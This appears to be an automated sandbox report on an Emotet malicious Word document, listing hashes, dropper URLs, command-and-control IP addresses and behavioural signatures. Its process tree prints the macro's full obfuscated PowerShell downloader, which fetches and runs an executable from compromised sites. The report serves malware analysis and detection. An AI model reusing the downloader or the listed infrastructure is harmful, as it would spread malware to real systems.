Analysis
- max time kernel
138s - max time network
129s - platform
windows10_x64 - resource
win10v200722 - submitted
20/08/2020, 11:03
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_a30ffa09da50e6ffb80090c9fe05d7fb06d7d9731bc5846021dbf64334df1a63_2020-08-20__110225._doc.doc
Resource
win7
General
- Target emotet_e3_a30ffa09da50e6ffb80090c9fe05d7fb06d7d9731bc5846021dbf64334df1a63_2020-08-20__110225._doc.doc
- Size 189KB
- Sample200820-jf67wn5pda
- SHA256 a30ffa09da50e6ffb80090c9fe05d7fb06d7d9731bc5846021dbf64334df1a63
- MD5 be61878f40ddb5093067c20d9f3603f4
- SHA1 1fc93820eecd1894c2ddcb3481cec038ad1834de
- SHA512 cf425259c7cb6ad3cab3475e7463d4d53a9a7a4e8fe45cc136d5506c618a4338b06b2a3559f068ae08709ca2bb3938b9ac976d742ac1845e613570691467fb62
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://gutjahr24.de/2015-11-09/arnf/
-
exe.dropper
http://zakahlife.com/wp-includes/w2jz15807/
-
exe.dropper
http://milde-seite.de/bigil/VNgmf9392/
-
exe.dropper
https://grasplms.com/wp-content/n5824604/
-
exe.dropper
http://britanniacricketleague.com/wp-admin/XgE3ss97089/
-
exe.dropper
http://benhlyphukhoa.info/wp-includes/4Ja2v10q187005/
-
exe.dropper
https://blog.angadiworldtech.com/css/I4pgkr7582964/
Extracted
-
emotet
-
173.94.215.84:80
-
85.25.207.108:8080
-
178.128.14.92:8080
-
60.125.114.64:443
-
181.126.54.234:80
-
157.7.164.178:8081
-
95.216.205.155:8080
-
216.75.37.196:8080
-
179.62.238.49:80
-
71.57.180.213:80
-
172.96.190.154:8080
-
112.78.142.170:80
-
178.238.232.46:443
-
177.144.130.105:443
-
105.209.235.113:8080
-
46.105.131.68:8080
-
185.86.148.68:443
-
143.95.101.72:8080
-
75.127.14.170:8080
-
168.0.97.6:80
-
181.114.114.203:80
-
185.208.226.142:8080
-
201.235.10.215:80
-
177.32.8.85:80
-
37.46.129.215:8080
-
74.208.173.91:8080
-
190.212.140.6:80
-
202.5.47.71:80
-
41.185.29.128:8080
-
81.214.253.80:443
-
107.161.30.122:8080
-
46.32.229.152:8080
-
5.79.70.250:8080
-
115.79.195.246:80
-
113.161.148.81:80
-
179.5.118.12:80
-
178.33.167.120:8080
-
91.83.93.103:443
-
51.38.201.19:7080
-
185.142.236.163:443
-
118.70.15.19:8080
-
181.134.9.162:80
-
105.213.67.88:80
-
217.199.160.224:8080
-
192.210.217.94:8080
-
197.249.6.179:443
-
86.57.216.23:80
-
86.98.143.163:80
-
181.113.229.139:443
-
201.213.177.139:80
-
195.201.56.70:8080
-
172.105.78.244:8080
-
190.190.15.20:80
-
190.53.144.120:80
-
139.59.12.63:8080
-
87.106.231.60:8080
-
66.61.94.36:80
-
198.57.203.63:8080
-
177.37.81.212:443
-
192.241.220.183:8080
-
115.78.11.155:80
-
188.0.135.237:80
-
78.189.60.109:443
-
31.146.61.34:80
-
175.29.183.2:80
-
203.153.216.178:7080
-
181.137.229.1:80
-
188.251.213.180:443
-
177.94.227.143:80
-
192.163.221.191:8080
-
50.116.78.109:8080
-
197.221.158.162:80
-
139.99.157.213:8080
-
77.74.78.80:443
-
81.17.93.134:80
-
190.164.75.175:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 748 912 powersheLL.exe 66 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3828-15-0x0000000000730000-0x000000000073C000-memory.dmp emotet behavioral2/memory/3828-15-0x0000000000730000-0x000000000073C000-memory.dmp emotet behavioral2/memory/3844-18-0x0000000002090000-0x000000000209C000-memory.dmp emotet behavioral2/memory/3844-18-0x0000000002090000-0x000000000209C000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 24 748 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3828 Ijbtr_.exe 3844 cryptbase.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\OneCoreCommonProxyStub\cryptbase.exe Ijbtr_.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 2020 WINWORD.EXE 2020 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 748 powersheLL.exe 748 powersheLL.exe 748 powersheLL.exe 3844 cryptbase.exe 3844 cryptbase.exe 3844 cryptbase.exe 3844 cryptbase.exe 3844 cryptbase.exe 3844 cryptbase.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 748 powersheLL.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 2020 WINWORD.EXE 2020 WINWORD.EXE 2020 WINWORD.EXE 2020 WINWORD.EXE 2020 WINWORD.EXE 2020 WINWORD.EXE 2020 WINWORD.EXE 2020 WINWORD.EXE 2020 WINWORD.EXE 3828 Ijbtr_.exe 3828 Ijbtr_.exe 3844 cryptbase.exe 3844 cryptbase.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 748 wrote to memory of 3828 748 powersheLL.exe 76 PID 748 wrote to memory of 3828 748 powersheLL.exe 76 PID 748 wrote to memory of 3828 748 powersheLL.exe 76 PID 3828 wrote to memory of 3844 3828 Ijbtr_.exe 78 PID 3828 wrote to memory of 3844 3828 Ijbtr_.exe 78 PID 3828 wrote to memory of 3844 3828 Ijbtr_.exe 78
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_a30ffa09da50e6ffb80090c9fe05d7fb06d7d9731bc5846021dbf64334df1a63_2020-08-20__110225._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2020
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABXAG4AeQB3AHIAeQBhAD0AKAAnAEIAbwAnACsAJwBsADEANQBnACcAKwAnAGUAJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQARQBOAHYAOgBUAEUAbQBwAFwATwBmAGYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBjAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAUgBpAGAAVABZAHAAUgBPAHQAYABvAGMAYABPAGwAIgAgAD0AIAAoACcAdAAnACsAJwBsACcAKwAnAHMAMQAnACsAJwAyACwAJwArACcAIAB0AGwAcwAxADEALAAgAHQAbAAnACsAJwBzACcAKQA7ACQARQA4AG0AMQAwAF8ANQAgAD0AIAAoACcASQBqACcAKwAnAGIAdAByAF8AJwApADsAJABHAHoAagBpAHgAbwB0AD0AKAAnAEMAOABmADQAJwArACcAMgAnACsAJwB0AHgAJwApADsAJABZADcAbQBnADEAZQA3AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBMACcAKwAnAG8AVQBPACcAKwAnAGYAZgBpAGMAJwArACcAZQAyADAAMQA5AEwAbwBVACcAKQAuACIAUgBlAHAATABgAEEAYwBFACIAKAAnAEwAbwBVACcALABbAHMAVABSAEkATgBHAF0AWwBjAGgAYQByAF0AOQAyACkAKQArACQARQA4AG0AMQAwAF8ANQArACgAJwAuAGUAeAAnACsAJwBlACcAKQA7ACQASAA3AG4AZQBsADQAZwA9ACgAJwBaADQAbAAnACsAJwBuAHoAOQBsACcAKQA7ACQARgB2AHcAXwBwADUAZwA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAHQALgBXAEUAQgBDAEwASQBFAE4AVAA7ACQASgB1ADgAbwB1ADEAagA9ACgAJwBoAHQAJwArACcAdABwADoALwAnACsAJwAvAGcAJwArACcAdQAnACsAJwB0AGoAYQBoACcAKwAnAHIAMgA0AC4AZABlAC8AMgAwACcAKwAnADEANQAtADEAMQAtADAAOQAvACcAKwAnAGEAJwArACcAcgAnACsAJwBuACcAKwAnAGYAJwArACcALwAqACcAKwAnAGgAdAB0AHAAOgAnACsAJwAvAC8AegBhAGsAYQAnACsAJwBoACcAKwAnAGwAJwArACcAaQBmAGUALgBjAG8AbQAvACcAKwAnAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvACcAKwAnAHcAJwArACcAMgBqACcAKwAnAHoAMQA1ACcAKwAnADgAMAA3AC8AJwArACcAKgBoAHQAJwArACcAdABwADoAJwArACcALwAvAG0AJwArACcAaQBsACcAKwAnAGQAZQAtACcAKwAnAHMAJwArACcAZQBpACcAKwAnAHQAJwArACcAZQAnACsAJwAuAGQAZQAvACcAKwAnAGIAaQAnACsAJwBnAGkAbAAvAFYATgBnAG0AZgAnACsAJwA5ACcAKwAnADMAOQAnACsAJwAyAC8AJwArACcAKgBoAHQAdAAnACsAJwBwAHMAJwArACcAOgAvAC8AZwByAGEAJwArACcAcwBwACcAKwAnAGwAbQAnACsAJwBzAC4AYwBvAG0AJwArACcALwB3AHAAJwArACcALQBjAG8AbgB0AGUAbgB0AC8AbgA1ADgAMgA0ADYAMAAnACsAJwA0AC8AKgBoAHQAdABwADoALwAvAGIAJwArACcAcgBpAHQAYQBuAG4AJwArACcAaQBhAGMAJwArACcAcgAnACsAJwBpACcAKwAnAGMAawBlAHQAbABlAGEAZwB1AGUALgBjAG8AbQAvAHcAcAAtAGEAJwArACcAZABtAGkAbgAvAFgAZwBFACcAKwAnADMAcwAnACsAJwBzACcAKwAnADkAJwArACcANwAnACsAJwAwADgAOQAvACcAKwAnACoAaAB0AHQAcAA6AC8ALwBiACcAKwAnAGUAbgBoAGwAJwArACcAeQBwACcAKwAnAGgAdQBrAGgAJwArACcAbwAnACsAJwBhAC4AaQBuAGYAbwAvAHcAcAAtAGkAJwArACcAbgAnACsAJwBjAGwAdQBkACcAKwAnAGUAcwAnACsAJwAvACcAKwAnADQASgBhADIAdgAnACsAJwAxADAAJwArACcAcQAxADgANwAnACsAJwAwADAANQAvACoAaAB0ACcAKwAnAHQAcAAnACsAJwBzADoALwAvACcAKwAnAGIAbABvAGcALgBhAG4AZwAnACsAJwBhAGQAaQB3AG8AcgAnACsAJwBsAGQAdABlAGMAaAAuACcAKwAnAGMAJwArACcAbwBtAC8AYwBzAHMALwAnACsAJwBJADQAJwArACcAcABnAGsAcgAnACsAJwA3ADUAOAAyADkAJwArACcANgA0AC8AJwApAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFcAYQBwADkAaQBwAG8APQAoACcATgB1AGkANQAnACsAJwB5ACcAKwAnAG8AbwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABDADIAbQB5AGQAZwBpACAAaQBuACAAJABKAHUAOABvAHUAMQBqACkAewB0AHIAeQB7ACQARgB2AHcAXwBwADUAZwAuACIARABvAHcAbgBMAE8AYABBAGAAZABGAEkAbABlACIAKAAkAEMAMgBtAHkAZABnAGkALAAgACQAWQA3AG0AZwAxAGUANwApADsAJABSAG8AMwB5AGUANwBhAD0AKAAnAE4AJwArACcAcQBqADUAYwBnAGYAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFkANwBtAGcAMQBlADcAKQAuACIATABFAE4AZwBgAFQASAAiACAALQBnAGUAIAAyADIAOAA5ADYAKQAgAHsAJgAoACcASQBuAHYAbwAnACsAJwBrAGUALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAoACQAWQA3AG0AZwAxAGUANwApADsAJABMADAAMQBkADEAeQA2AD0AKAAnAFQAJwArACcAdwAzACcAKwAnAHYAbQBmAHYAJwApADsAYgByAGUAYQBrADsAJABWAHoAbABnAHkAdQBfAD0AKAAnAFoAcAAzAGcAdQAnACsAJwB0AG0AJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAGkAaABwAHkAbwAwAD0AKAAnAFgAJwArACcAZwBuAGoAagA2ACcAKwAnAGcAJwApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:748 -
C:\Users\Admin\AppData\Local\Temp\Office2019\Ijbtr_.exe"C:\Users\Admin\AppData\Local\Temp\Office2019\Ijbtr_.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3828 -
C:\Windows\SysWOW64\OneCoreCommonProxyStub\cryptbase.exe"C:\Windows\SysWOW64\OneCoreCommonProxyStub\cryptbase.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3844
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-